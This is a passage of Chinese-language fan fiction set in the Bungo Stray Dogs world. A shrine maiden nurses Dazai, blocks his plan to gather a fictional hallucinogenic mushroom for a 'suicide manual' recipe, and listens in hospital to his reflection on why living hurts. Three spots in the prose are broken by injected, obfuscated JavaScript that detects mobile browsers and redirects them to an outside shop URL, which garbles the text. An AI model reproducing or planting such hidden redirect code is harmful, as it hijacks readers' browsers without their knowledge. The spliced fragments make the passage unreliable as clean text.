温水从喉咙滑下去,像一条细细的暖流,慢慢地在身体里散开。灵力确实消耗得很厉害,丹田里空空荡荡的,像一口被舀干了的水井,但井底还在往外渗水,很慢,但确实在恢复。 “太宰先生呢?”我问。 “他没事,”与谢野晶子说,“皮外伤,灼伤部分已经处理过了,过几天就能好,他比你醒得早,大概今天上午就醒了,期间还来看过琉璃小姐你一眼,然后被国木田先生叫去写任务报告了。” 她耸肩一笑:“琉璃小姐,太宰先生他昨天从地下出来的时候,一直抱着你,不肯松手。” 我握着水杯的手紧了紧,心跳没由来地快了一拍。 与谢野晶子继续娓娓道来:“国木田先生说要帮你检查伤势,太宰先生说‘我来’。我说要给你做检查,太宰先生一直陪着你,后来还是社长说了句‘太宰,你手上的伤也需要处理’,他才松开手的。” 我听着与谢野晶子的话,把水杯放在床头柜上,握住了昨天被太宰治抓过的手腕。 橘黄色的霞光恰好落在那里,暖洋洋的。 在石窟里的种种回忆在脑海中不停回放,像一团乱麻,越想搅的我心越乱,活了两世,我从没有过这种剪不断理还乱的烦闷感,只得摩挲着手腕,用笑容掩饰杂乱的情绪,接上与谢野晶子的话:“太宰先生,是个很温柔的人。” 好在与谢野晶子没有继续这个话题,站起来,从床头柜的抽屉里拿出几包药,用纸袋装好,递给我:“一天两次,饭后服用。喝七天。主要是补气养神的,神社那边应该也有类似的方子,但这是我配的,效果会快一些。” “谢谢。” “不用谢,”她笑了笑,“你是为了救横滨才搞成这样的,该道谢的是我们。” 我接过纸袋,放在膝盖上,低头看着上面用圆珠笔写的服用说明,字迹很工整,一笔一划都很清楚。 我从床上下来,穿上摆放在床边的木屐。 与谢野晶子帮我打开医务室的门。 走廊的光线比医务室暗一些,暖黄色的,是夕阳从窗户照进来的颜色。空气里弥漫着咖啡和纸张的气息。 我沿着走廊往前走,转过一个弯,就到了侦探社的办公室。 门开着。 国木田独步叉着腰在训斥太宰治,太宰治面前的报告纸上只有寥寥几行字,而且最后一行是涂鸦,画了一只歪歪扭扭的猫。 “太宰!你从下午两点就开始写,到现在只写了三行!三行!其中一行还是画猫!” “国木田君,艺术创作需要灵感,不能强求的。” “这不是艺术创作!这是任务报告!是给特务科看的正式文件!” “可是那只猫画得真的很可爱嘛——” “可爱有什么用!!!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471699|201515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 我站在门口,看着这一幕。 夕阳的光从窗户照进来,落在太宰治的侧脸上,他的表情懒洋洋的,嘴角挂着一个“我就是不写你能把我怎么样”的笑,但眼睛里的光不是挑衅,而是一种更孩子气,故意惹人生气的顽皮。 他的右手缠着绷带,握笔的姿势有些别扭,大概是因为手背上的灼伤还没有完全好,写字的时候会疼。 国木田先看到了我。 “琉璃小姐,”他收起脸上被太宰惹出的怒意,换上一副正常的表情,“身体怎么样了?” “已经没事了,”我点点头,“谢谢国木田先生。” “该道谢的是我们,”国木田推了推眼镜,“你的灵力净化和最后的决断是这次任务成功的关键,社长已经在写报告了,特务科那边对你的评价非常高。” “我只是做了我应该做的事。” “应该做的事和能做到的事,是两回事,”国木田的语气很认真,“很多人都知道‘应该做什么’,但只有少数人能做到,你是后者。” 我不好意思地笑了笑:“天色不早了,神社那边还担心着,多谢侦探社的治疗,我该回去了。” “我送你?”国木田独步说。 “不用了,电车很方便。” 临走前,我看了一眼太宰治。 他坐在办公桌前,左手撑着脸,右手握着笔,鸢色的眼睛看着桌上的报告纸,但显然没有在看那些需要填写的文字。 他的嘴角弯了一下,很轻,很快,像是蜻蜓点水,水面的涟漪还没散开,蜻蜓就已经飞走了。 “谢谢你,太宰先生,”我笑着向他道谢,“在石窟里多谢你救我,还把我带回侦探社治疗。” 太宰治没有说话,他握笔的手指微微顿了一下。笔尖在纸上停留了半秒,墨汁从笔尖渗出来,在纸面上晕开一个小小的、圆圆的墨渍。 那颗墨渍刚好落在他画的那只猫的旁边。 “再见。”我没等太宰治回答,留下这句话,转身走出了办公室。 20. 来横滨的第二十天 武装侦探社的午后,阳光斜切进窗户,在木地板上画出一道道温暖的金线。 办公室里,国木田独步端坐在办公桌前,眼镜片反射着电脑屏幕的蓝光,手指在键盘上敲得噼啪作响,正在整理上周的走私船情报交叉分析报告。谷崎润一郎坐在他对面,手里拿着一份文件,眉头微皱,像是在琢磨什么难懂的东西。 太宰治难得没有瘫在沙发上,端坐在桌前,背挺得笔直,双手放在桌面上,面前摊开一本装帧古朴的书。 书的封面是深棕色的皮革,边角磨得发白,书脊上的烫金书名已经褪色了大半,只能隐约辨认出几个字:《完全自杀手册·修订版》。 他鸢色的眼睛闪闪发亮。 “哦——!” 他发出一声悠长的赞叹,指尖轻轻划过书页上一行优雅的手写体注解,开始朗读,声音不大,但足够让整个办公室都听到:“将月光下绽放的‘幽影蕈’毒素,与横滨湾独有、只在朔夜潮汐时浮现的‘蓝泪藻’提取物混合……服用者将在‘目睹天国阶梯徐徐展开’的极致幻觉中,意识升华为光,安详永眠……” 他的声音里带着一种虔诚的向往,鸢色的眼睛望向天花板,像是在透过水泥和钢筋,看见某个只存在于想象中的美丽又遥远的地方。 “何等浪漫!何等富有诗意的终极构想!” 隔壁办公桌传来笔尖折断的脆响。 紧接着是国木田独步火山爆发般的怒吼:“哒——宰——!” 太宰治头也不抬,像是早就预料到了这声怒吼,甚至嘴角欠欠地还弯了弯。 “上星期走私船情报交叉分析报告,你一个字都没动吧?!”国木田独步从座位上站起来。 “在思考了在思考了~”太宰治用那种能把人气死的懒洋洋调子回答,同时熟练地从国木田的笔筒里“借”了一支新的钢笔,指尖一勾,笔就到了他手里,国木田独步甚至没来得及反应。 他在便签纸上沙沙地写起来。 必要条件:幽影蕈,后山神社秘境有产、蓝泪藻——横滨湾东侧礁石区,朔月大潮夜、朔月之夜灵力沉寂之刻,或为药性激发关键…… 写到最后一个条件,他的笔尖顿了顿,悬停在纸面上方,墨汁在笔尖凝成一个小小的黑点,将落未落。 他的嘴角勾起一抹玩味的笑。 “啊呀,最后一个条件……”他低声自语,眼眸转向窗外晴朗的天空,目光穿过玻璃,穿过街对面的楼房,一直看向更远处那片被夏末阳光晒得发白的遥远天际,“稍微有点‘麻烦’呢。” 他在“麻烦”两个字上加了重音,带着几分孩子气的兴奋。 太宰治的目光从天空收回来,落在手腕上那条五色绳手链上。 青赤黄白黑的绳结在午后的阳光下泛着柔和的光泽,哑铃铛安静地垂着,一声不响。 他用笔尖轻轻碰了碰其中一颗铃铛。 铃铛没有响。 但他的嘴角弯得更深了。 * 当天下午,竹之宫神社后院。 龙脉平静之后,一切归于正常,我的身体在灵力加持下恢复很快,已经可以继续神社的工作了。 夏末的阳光没有正午那么毒辣,但晒在后背上还是暖洋洋的,蝉鸣声从山脚下的树林里传上来,一阵一阵的,像潮水一样涨落。 我蹲在廊檐下,将晾晒好的用于制作护身符的香草仔细收拢。 这些香草是昨天从后山采的,艾草、菖蒲、檜葉,还有一些叫不上名字的、只在神社这片灵地上生长的植物。它们在阳光下晒了一整天,叶子卷曲了,颜色从鲜绿变成了沉稳的墨绿,散发出一股干燥的清苦的的气息。 我把它们一束一束地扎好,放进竹编的笸箩里,再用白纸盖上,防止灰尘落进去。 我正把最后一束香草放进笸箩里,忽然感觉到一股熟悉的气息从参道的方向飘过来。 我叹了口气。 “下午好呀,勤劳的琉璃小姐~” 那个声音从身后传来,轻快得像是从树上飘下来的一片叶子,打着旋儿,慢悠悠地落在地上。 我放下手中的香草,转过身。 太宰治站在廊檐下面,逆着午后的阳光。 他手里拎着一个印有“漩涡”咖啡馆徽标的精致漆木点心盒,丝带系得一丝不苟,甚至打了一个漂亮的蝴蝶结。 太宰治笑眯眯地看着我,笑容灿烂得几乎要晃花人眼:“听说贵神社守护的后山秘境,近期有珍贵的‘幽影蕈’顺应月时绽放?不知我是否有这个荣幸,在专业人士的指导下前去‘学术观摩’一下?” 他晃了晃手里的点心盒:“当然,作为答谢,特供限量版抹茶蕨饼,糖度经过精准计算,完美平衡苦与甜哦。我特意让老板留的,最后一份。” 我看着那个精致的漆木盒子,又看着他脸上那个“人畜无害”的笑容。 沉默了三秒。 “你要幽影蕈做什么?” “那东西含有强效神经致幻毒素,”我从廊檐上站起来,把沾着草叶和泥土的手在绯袴上擦了擦,“未经处理的孢子都能让小型动物产生濒死幻觉。普通人,甚至大多数异能者,都不该碰。” 我看着他的眼睛。 那双鸢色的眼睛在阳光下显得格外浅,像是被阳光洗褪了颜色,露出了下面更本质的更真实的东西。 但那种真实只持续了一瞬。 他的笑容没有变,甚至更无辜了一些:“啊啦,被质疑了呢,当然是用于严肃的‘学术研究’!我最近对月相周期、地脉灵力波动与稀有植物生物碱活性之间的神秘关联,产生了浓厚的兴趣。这或许能解开某些历史记载中的‘幻境’之谜哦。” 我微微眯起眼睛。 夕阳的金光映在我的瞳孔里,让我的目光显得比平时更锐利。 我太熟悉太宰治这个表情了。 每当他心里盘算着某些荒诞不经、危险又带着孩子气执念的计划时,他就会露出这种精心伪装的、纯良无害的求知模样,像一个小孩偷了糖果,被抓到了,把手背在身后,眨着眼睛说“我没有拿糖啊”。 我没有立刻揭穿他,反而点了点头:“可以啊。” 太宰治的眼睛一亮。 我伸手指向神社角落那间堆放杂物的木造仓库:“不过,”在我带你去后山之前,你得先帮我把仓库里那五十斤准备用于‘夏越大祓’仪式、已经完成净化的粗粒海盐,搬到前殿的神器准备室去。” 太宰治灿烂的笑容瞬间凝固在脸上。 “……五十斤?” “五十斤。” “海盐?” “海盐。” “……” 我抱起手臂,好整以暇地看着太宰治。 “仪式临近,当然,你也可以选择不帮忙——” 我顿了顿,向前迈了一小步,距离近了,近到能看到他鸢色瞳孔里自己的倒影:“不过,后山那片生长幽影蕈的湿地,是神社管辖的‘灵域’,非内部人员或未经许可,严禁入内。结界是初代神官设下的,擅闯的话……可能会碰到一些不太友好的‘守护灵’哦,太宰先生虽然不怕,但会很麻烦吧?” 我歪了歪头:“至于其他地方有没有幽影蕈,或者你能不能问到别人……嗯,据我所知,横滨范围内,可能只有我们神社这一片灵地符合它生长的苛刻条件。” 我两手一摊,补了最后一把刀:“而且,普通人谁又会知道这种危险又没用的蘑菇呢?” 太宰治脸上的表情精彩极了,从“计划通”的得意,到被反将一军的错愕,再到一种哀怨地像是在说“你怎么可以这样对我”的指控。 “琉璃啊……”太宰治的声音幽幽的,像是从很深很深的井底传上来的,“你学坏了。” 他无辜地控诉道:“以前的你虽然也会阻止,但至少是直接用灵力弹开我,或者严肃地说教。现在居然学会用‘劳务交换’和‘情报垄断’来对付我了……真是越来越不可爱了。” 夕阳的光落在我脸上,暖洋洋的,晒得脸颊有些发烫。 我的嘴角忍不住微微上扬了一下,又赶紧板起脸。 “少废话,”我说,语气尽可能冷淡,“搬,还是不搬?” 太宰治看着我,沉默了一秒,认命地叹口气,把臂弯里的风衣搭在廊檐的栏杆上,把点心盒小心翼翼地放在风衣旁边,放的时候还特意调整了一下位置,确保盒子不会倒,丝带不会被风吹乱。 “……搬。” 太宰治认命地卷起衬衫袖子,一趟又一趟地往返于神社仓库与前殿之间。 仓库在神社的东南角,前殿在西北角,距离不算太远,大概两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471700|201515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百米,但要经过一段上坡的石板路,和三级台阶。海盐装在麻袋里,一袋五十斤,分成了五袋,每袋十斤。 太宰治第一次抱起那袋盐的时候,表情像是抱了一个刚出生的婴儿,不知道该怎么抱,盐袋是软的,里面的盐粒会在袋子里流动,抱起来的时候重心会变,一不小心就会从手里滑出去。 他调整了好几次姿势,最后用一种“不管了”的态度,把盐袋扛在了肩上。 白色衬衫的布料被盐袋压出了褶皱,绷带边缘露出来一截,他的步伐不算稳,像是那种不太做体力活、但身体素质本身不差的人,动作不太熟练,但底子在那里。 他走过上坡的石板路,踩过三级台阶,穿过前殿的侧门,把盐袋放在神器准备室的指定位置。然后转身,走回来,抱起第二袋。 我在廊檐下搬了一把小竹椅,坐下来,面前放着一小碟瓜子,是凛昨天买的,说是新出的口味,让我尝尝。 我平时不怎么嗑瓜子,但今天不知道为什么,觉得这个时机特别适合嗑。 我拈起一颗瓜子,放进嘴里,轻轻一磕。 壳裂开的声音,清脆得像小小的爆竹。 “小心脚下,别撒了,盐很贵的。” 太宰治抱着第二袋盐从我面前经过,脚步顿了一下,无奈地侧头看了我一眼。 他没有说话,继续往前走。 我磕了第二颗瓜子:“左边那袋好像漏了哦,太宰先生。” 太宰治低头看了一眼,没有漏,但他还是停下来,换了一个姿势,把盐袋从右边换到左边,继续走。 我磕了第三颗瓜子。 “加油,还有十五袋。” “十五袋?”他终于忍不住了,转过身来,额角有一层薄薄的汗,在阳光下微微发亮,“不是五袋吗?” “五袋是五袋,”我说“但你来回一趟算一次,五袋就是五次。五次就是五趟。五趟就是——我说还有十五袋,就是还有十五袋。” 太宰治看着我,表情忽然平静。 “……琉璃。” “嗯?” “你是不是在整我?” 我想了想。 “不算整,”我说,“算等价交换。你想去后山看幽影蕈,我需要人帮忙搬盐。公平交易,童叟无欺。” 太宰治盯着我看了两秒,笑了。 他摇了摇头,转过身,继续往前走。 阳光落在他背上,浅灰色的衬衫被汗水洇湿了一小块,颜色变得更深了。他的背影在石板路上拉出一道长长的影子,影子随着他的步伐晃动着。 我低下头,看着碟子里的瓜子。 瓜子还剩大半碟。 太宰治搬完第五袋盐的时候,夕阳已经沉到鸟居的高度了。 暗红色的光从鸟居的横木下漏过来,把整个神社染成了一幅褪色的旧画。石灯笼的影子在地上拉得老长。 太宰治把最后一袋盐放在神器准备室的地上,直起腰,长长地呼了一口气。 他走出来,站在前殿的廊檐下,双手叉腰,仰头看着被晚霞染成紫色的天空。 他的衬衫湿了大半,额前的碎发贴在皮肤上,有几缕还在滴水。绷带倒是没有湿,他在搬盐之前,不知道用什么方法把袖口扎紧了,盐粒和汗水都没能渗进去。 我走过去,站在他旁边。 从袖子里掏出一条叠得整整齐齐的手巾,递给他。 毛巾洗过很多次,棉布已经洗得很软了,边角有一点点起毛。 太宰治低头看了一眼那条手巾,又看了一眼我,接过手巾,手指从我的手心里把手巾拈起来,指尖在我的掌心轻轻划过,像一片落叶擦过水面。 他的手很凉,大概是出了汗,蒸发带走热量的缘故。 他把手巾按在额头上,仰着头,闭着眼睛,慢慢地擦。 鸟居在夕阳中呈现出一种朱红色的、近乎透明的光泽,像是被晚霞点燃了一样。鸟居后面,参道两旁的树木在风中轻轻摇晃,发出沙沙的声响。 “琉璃小姐。” “嗯?” “你刚才说‘等价交换’。” “嗯。” “那我现在搬完了,”太宰治睁开一只眼睛,从手巾的缝隙里看着我,鸢色的眼珠在白色的棉布边缘若隐若现,“是不是该带我去后山了?” 21. 来横滨的第二十一天 夜已深。 武装侦探社宿舍的窗户透出一点微弱的暖光,是台灯的颜色,昏黄昏黄的,窗帘没有拉严实,露出一道窄窄的缝隙,月光从缝隙里挤进来,在木地板上画出一条细细的银线。 太宰治坐在桌前。 他衬衫换了,不再是下午那件被汗水洇湿的浅灰色,而是一件深色的、领口有些松垮的旧衣服,绷带倒是换了新的,从指尖一直缠到小臂,白色绷带在台灯的光线下泛着微微的冷色。 下午搬完盐之后,他在神社的洗手处冲了一把脸,水顺着下颌滴在衬衫领口上,洇出一小片深色的印记。 那片印记现在已经干了,但领口的布料皱巴巴的。 桌上铺着一张白绢。 绢布是新的,边缘整齐,没有褶皱,四个角用镇纸压着,镇纸是一块普通的鹅卵石,圆滚滚的,表面光滑,不知道是从哪个河边捡来的。 白绢上,小心翼翼地放着三朵小蘑菇。 蘑菇不大,最大的那朵也不过小指长短,菌盖呈灰白色,边缘微微卷曲,像一把把撑开了一半的小伞。菌柄细长,半透明,能看到里面有什么东西在缓慢地流动,像是光,一种极淡极淡的、月华般的银白色荧光。 幽影蕈。 只是那荧光比古籍记载中暗淡了许多。 书上的描述是“月下绽放,荧光如雾,采之盈手,光随指动”。而眼前这三朵,荧光微弱得像快要熄灭的烛火,要凑得很近、眯起眼睛、屏住呼吸,才能看到菌盖边缘那一圈若有若无的透明银白色光晕。 它们散发出的气息也微弱得不自然。 正常的幽影蕈应该有一种特殊的灵力波动,介于存在与不存在之间的波动,像梦境的边缘,像清醒与沉睡之间的那道窄窄的门槛。 但现在这三朵蘑菇的灵力波动,几乎感觉不到。 不是消失了,而是被“安抚”了,像一只炸了毛的猫被人顺着毛摸了几遍,毛顺了,警惕性也散了,蜷缩在人的膝盖上,发出满足的呼噜声。 太宰治拿起镊子,轻轻拨弄了一下其中一朵小蘑菇。 菌盖微微颤动了一下,荧光闪了闪,像是被吵醒了又迅速睡过去的小孩。 他面前摊着一本打开的笔记,封面的皮革已经开裂了,露出下面发黄的纸板,书脊上贴着一条医用胶带,胶带的边缘翘起来,沾着一些细小的灰尘。 笔记上写着今天的成果。 字迹潦草,但每一笔都很用力。 在‘监督员’全程陪同下,于湿地边缘采集,所获样本均已被某种温和但坚定的净化术式处理过,致幻毒素活性不足记载的十分之一,生物碱结构似被微妙‘安抚’,推测服用后最大效果仅为轻度头晕及看到模糊光斑,距离‘天国阶梯’相差甚远。” 太宰治的笔尖在这里顿了一下。 然后他继续写: 备注:采集过程中,监督员共科普了七种湿地稀有植物、三种无害精灵的习性,并警告了四次‘别踩那个水坑’。 他写完最后一个字,把笔放下,靠在椅背上,目光落在那三朵可怜的小蘑菇上。 台灯的光从侧面照过来,把他的脸分成明暗两半。亮的那半能看到嘴角那抹无奈的笑,暗的那半藏在阴影里,看不清表情。 “被彻底看穿,并且从源头就完美扼杀了啊……” 他用镊子把三朵蘑菇重新排列了一下,大的在中间,小的在两边,排列得整整齐齐。 “真是毫不留情的防守。” 太宰治重新拿起笔,在笔记的空白处又加了一行: 结论:在当前监管力度下,达成原始计划的可能性为——零。 他在“零”字上画了一个圈。 然后他的笔尖在纸面上停了停,又在“零”的旁边加了两个字: 暂时。 写完之后,他看着那两个字,沉默了一会儿,然后拿起笔,把“暂时”划掉了。 太宰治忽然想起了什么,翻开笔记的后面几页,找到一张夹在纸页之间的便签。 便签是淡蓝色的,边缘有些皱,像是被人从什么地方撕下来的,上面用圆珠笔写着一行字,字迹和笔记里的完全不同,更工整,更秀气,一笔一划都写得很认真。 一天两次,饭后服用;喝七天,忌辛辣生冷;如有不适,随时来神社。 是琉璃的字。 他在便签的背面写了几行字—— 香囊的绳子换过了,原来的那根磨断了。 药膏还剩小半罐,应该够用。 下次去神社要问一下,那种晒干的香草叫什么名字。 挺喜欢的。 最后四个字写得很小,挤在便签的角落,像是写的时候怕被别人看到,又像是写的时候自己也不太确定是不是真的要写下来。 太宰治看着那四个字,把便签重新夹回笔记里,合上本子,放在桌角。用那枚鹅卵石镇在上面,防止风把纸页吹开。 他靠在椅背上,目光从桌面移向窗户。 窗帘的缝隙里,能看到一小片夜空,夜空澄澈,没有云,星星不多,但都很亮,像是被什么人用针在黑色的绸布上扎了一个个小小的孔,光从孔里漏出来,细细密密的。 一弯弦月悬在天幕中央,清冷,瘦削,月光落在窗台上,落在桌面上,落在他缠着绷带的手背上,泛着冷冷的、银白色的光泽。 距离朔月还有些时日。 他伸出手,指尖在月光中轻轻拨了一下,月光从指缝间漏过去,落在他的手腕上。 五色绳手链在那里安静地待着,青赤黄白黑的绳结在月光下呈现出一种透明的颜色,像是被月光洗去了所有的杂质,只剩下了最本质的最纯净的光。 哑铃铛垂着,一声不响。 他用另一只手的指尖轻轻碰了碰其中一颗铃铛。 铃铛没有响。 但他的手感觉到了一个小小的震动,在他触碰的时候,像一只被吵醒的小猫,伸了个懒腰,打了个哈欠,然后重新蜷缩着睡去了。 太宰治看着那条手链,嘴角弯了弯。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471701|201515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他放下手,重新拿起镊子,把白绢上的三朵小蘑菇一朵一朵地夹起来,放进一个深棕色的小玻璃瓶里,瓶子的塞子是软木的,塞紧之后,蘑菇的荧光被遮住了,瓶子里只剩下一片沉默的黑暗。 他把瓶子放在桌子的最里侧,靠在墙上,和几本旧书、一个空了的茶杯、一小截用了一半的铅笔排在一起。 位置刚好,不占地方,也不碍事。 他又坐了一会儿,什么也没做,只是看着窗外的那弯弦月。 月光慢慢地从桌面上移过去,从他的手背上移过去,从那条五色绳手链上移过去,光在移动的时候,手链的颜色会微微变化,青色变深,赤色变浅,黄色变亮,白色变暗,黑色变得几乎透明,像一个小小的、不会说话的彩虹,被月光一照,就活了过来。 太宰治忽然想起下午在神社的事。 他扛着最后一袋盐走过廊檐的时候,琉璃坐在竹椅上,手里拈着一颗瓜子,没有嗑,只是含着,看着他的背影。 他没有回头,但他知道她在看他。 因为他背上有一种暖洋洋的感觉,像是被什么东西轻轻地、温柔地照着。 他说不清楚那是什么,他只知道,在那一刻,扛在肩上的盐袋忽然不重了。 太宰治从椅子上站起来,走到窗边,把窗帘拉开了一些,月光涌进来,铺了满满一地板,银白色的,亮得像水。 他站在月光里,低头看着自己那只触碰过聚合体心脏、被能量灼伤、缠着新绷带的手。 绷带下面,那些灼伤的痕迹还在。 他走到桌前,关掉台灯。 咔哒一声,暖黄色的光消失了,房间里只剩下月光。 太宰治躺到床上,没有盖被子,只是躺着,双手交叠在腹部,看着天花板。 月光从窗帘的缝隙里照进来,在天花板上投下一个歪歪扭扭的光斑。光斑随着窗帘的微微晃动而变化形状,一会儿像一只蝴蝶,一会儿像一片叶子,一会儿又变成了一朵花。 他闭上眼睛。 眼前浮现的不是蘑菇,不是月光,不是那本翻了很多遍的《完全自杀手册》。 而是一个画面。 廊檐下,竹椅,碟子里的瓜子,夕阳,晚风。 一个女孩坐在那里,手里拈着一颗瓜子,她的脸颊被夕阳晒得微红,嘴角有一个很浅很浅的弧度。 太宰治睁开眼睛,他翻了个身,面朝墙壁。 墙壁是白色的,在月光中呈现出一种淡淡的、灰灰的蓝。 他抬起右手,放在眼前。 手腕上,五色绳手链在月光中微微发光,但那种光和下午她在廊檐下看着他时的那个表情,是同一个颜色。 他放下手,闭上眼睛,这一次,没有再睁开。 窗外的弦月慢慢地从天空的这一头走到那一头,月光从地板上移到了墙上,又从墙上移到了天花板,最后消失不见。 夜很深很安静。 安静到能听见远处电车驶过的声音,和近处自己的心跳声。 22. 来横滨的第二十二天 最近来神社参拜的人很多,我忙着在神社的社务所里整理御朱印帐。 凛在旁边擦桌子,千鹤在后院晒艾草,老神官在廊檐下晒太阳打盹,茶杯搁在膝盖上,茶已经凉透了,但他睡得很香,呼噜声和蝉鸣声混在一起。 一切都很平静。 太宰治已经很久没有来神社了。 上一次见面是十四天前的那个黄昏,他搬了五十斤盐,我答应了朔夜带他去后山。算一算日子,朔夜还有两天。 我在想他会不会又来“提前踩点”或者“学术咨询”之类的。 手机在袖子里震了一下。 我放下朱印笔,掏出手机。是一条消息,发件人是国木田独步: 【琉璃小姐,太宰在任务中受伤了。横滨市立医院,302病房。他没什么大碍,但你如果方便的话……】 消息没有写完。 “如果方便”后面的省略号里,藏着很多东西。国木田不是一个会在公务消息里留省略号的人。他写报告的时候连标点符号都要对齐,每一个句号都圆得像是用圆规画的。 能让他打出省略号的,一定是他自己也说不清楚的事情。 我盯着屏幕看了三秒钟。 然后站起来,把朱印帐合上,对凛说:“我出去一趟。” 凛看着我的表情,没有问去哪里,只是点了点头。 我回到后殿,从抽屉里拿了几包自己配制的伤药,止血的、消炎的、安神的,用白纸包好,塞进布包里。 又想了想,把之前做好的安神香囊也拿了两个,用和纸包好,塞进布包的夹层里。 然后出门。 从神社到医院电车要坐六站。我在车上靠着窗户,看着窗外的街景一帧一帧地往后移。 横滨的街道在夏末的阳光下显得慵懒而安静,商店街的遮阳篷收了一半,便利店的门口有人在买冰棍,幼儿园的院子里传来孩子们的笑声。 我的手指一直摩挲着布包的带子,棉布的带子被我捏出了褶皱。 横滨市立医院的三楼,302病房。 走廊里弥漫着消毒水和药物的气味,白色的灯光照得走廊亮堂堂的,地面是浅灰色的防滑瓷砖,反射着天花板上日光灯的管状光斑。 我在病房门口停下来。 门没有关严,从缝隙里可以看到病房里的一部分,白色的墙壁,浅蓝色的窗帘,床头柜上摆着一束不知道谁送的花,花是白色的,插在一个透明的玻璃瓶里。 太宰治半靠在床上,左肩到左臂的位置被厚厚的白色绷带包裹着,绷带从肩膀一直缠到肘部,外面套着一件浅蓝色的病号服。 他的脸色有些白,额角有一层薄薄的汗。 但他还在笑。 “啊呀,这种火辣辣的感觉,就像被热情的美女亲吻一样呢……” 他懒洋洋的声音从门缝里传出来,但尾音有些发虚,像是说这句话用了他不少力气。 “虽然我更想要温柔的。” 病房里的护士没有接他的话。 他看到我了,眼睛微微亮了一下。 “琉璃小姐,”他的声音从门缝里飘出来,“站在门口做什么?进来呀。” 我推开门,走进去。 病房里的空气比走廊里闷一些,混合着药味、花香味和一种说不清的、属于病人的气息。 那种气息让我不自觉地皱了皱眉,我想起了一些不太好的事情。 战国时代,战伤,那些在我怀里渐渐冷去的身体。 我走到床边,坐下来,布包放在膝盖上。 我看着太宰治被绷带包裹的左肩。 绷带缠得很厚,但依然能看到下面微微隆起的敷料的厚度,敷料下面是被子弹贯穿的伤口。子弹从肩前进入,从肩后穿出,没有伤到骨头,但肌肉被撕裂了。 给太宰治换完药,护士走出病房。 “琉璃小姐是来探病的吗?”太宰治的声音把我的思绪拉回来,“太感动了——” 仪器发出细微的滴答声。空调的风轻轻吹着,浅蓝色的窗帘在微风中微微鼓起,又缓缓落下。 我伸向他的左肩,悬在绷带上方大约两厘米的位置,掌心向下,手指微微张开。 灵力从掌心缓缓渗出,安抚痛觉。 灵力像清凉的泉水,从掌心渗出,穿过绷带,穿过敷料,穿过皮肤和肌肉,精准地找到了那些被毒素刺激的、异常活跃的痛觉神经末梢。 太宰治的身体微微僵了一下。 他那只没有受伤的右肩从紧绷的状态中松弛下来,后背离开了靠垫,更深地陷入病床里。他的呼吸变得慢了一些。 他侧过头,看着我,鸢色的眼睛里带着一丝讶异。 “很疼吧?”我的声音很低,目光落在被绷带包裹的肩膀上,没有看他。 绷带很白,边缘贴着皮肤的地方,能看到一点点渗出的碘伏颜色,黄褐色的。 “嗯,超~级疼的。”太宰治老实承认了。 灵力继续从掌心渗出。 清凉的,柔和的,持续的。 像泉水,像月光,像夏夜的风。 见太宰治这副怕疼的模样,我问了一个我一直想问、但一直没有找到合适时机问的问题。 “既然这么怕疼,为什么还要一次又一次地,用那些可能更痛苦的方式去尝试自杀呢?” 太宰治没有立刻回答。 他望着天花板,眼神有些空茫,像是在组织语言。 过了好一会儿,太宰治才开口:“因为,‘活着’本身,就是另一种更广泛、更持久的疼痛啊。” 他的声音很轻,却重重地敲在我的心上。 “肢体的疼痛,位置明确,原因清晰,总有过去的时候,疼完了就知道是哪里疼、为什么疼、什么时候能好,但活着的痛苦……是弥漫的,没有形状的,不知道从哪里来,也不知道什么时候会结束。” “它渗透在呼吸里,在看到的每一件事里,在每一次思考里。你走在街上,看到阳光,看到行人,看到路边的花——这些东西都在,但你感觉不到它们。或者说,你感觉到了,但那种感觉隔着一层什么东西,像隔着玻璃看风景,能看到,但摸不到,也不觉得和自己有什么关系。” 他侧过头,看向我,嘴角扯出一个没有笑意的弧度:“比起那种无边无际的‘疼’,短暂的、剧烈的、有明确终点的疼痛,反而显得……比较亲切,也比较容易忍受,至少,我知道它是为什么疼,也知道怎样能让它停止。” 他顿了顿:“或者说,我至少知道它什么时候会结束。” 他的目光从我的脸上移开,重新落回天花板。 鸢色的眼睛在日光灯下显得很浅,浅到像是一层薄薄的冰,冰下面有水流过,但看不清水的颜色。 “肢体的疼痛是客人,会来,也会走。活着的疼痛是房东。你住在里面,付不起租金,也搬不出去。” 病房里再次安静下来。 仪器的滴答声在耳边无限放大,像秒针在走,一秒,又一秒,再一秒。 我想说点什么。想说“不是这样的”,想说“活着也有好的事情”,想说“你遇到了武装侦探社的大家,遇到了国木田先生、贤治君、敦君、镜花小姐、与谢野医生、福泽社长”——想说“你遇到了我”。 但任何安慰在这样赤裸的痛苦剖析面前,都显得苍白。 我没有经历过他经历的那些事,我不知道他走过什么样的路,遇到过什么样的人,做过什么样的选择,在什么样的夜晚独自睁着眼睛等天亮。 我没有资格说“不是这样的”。 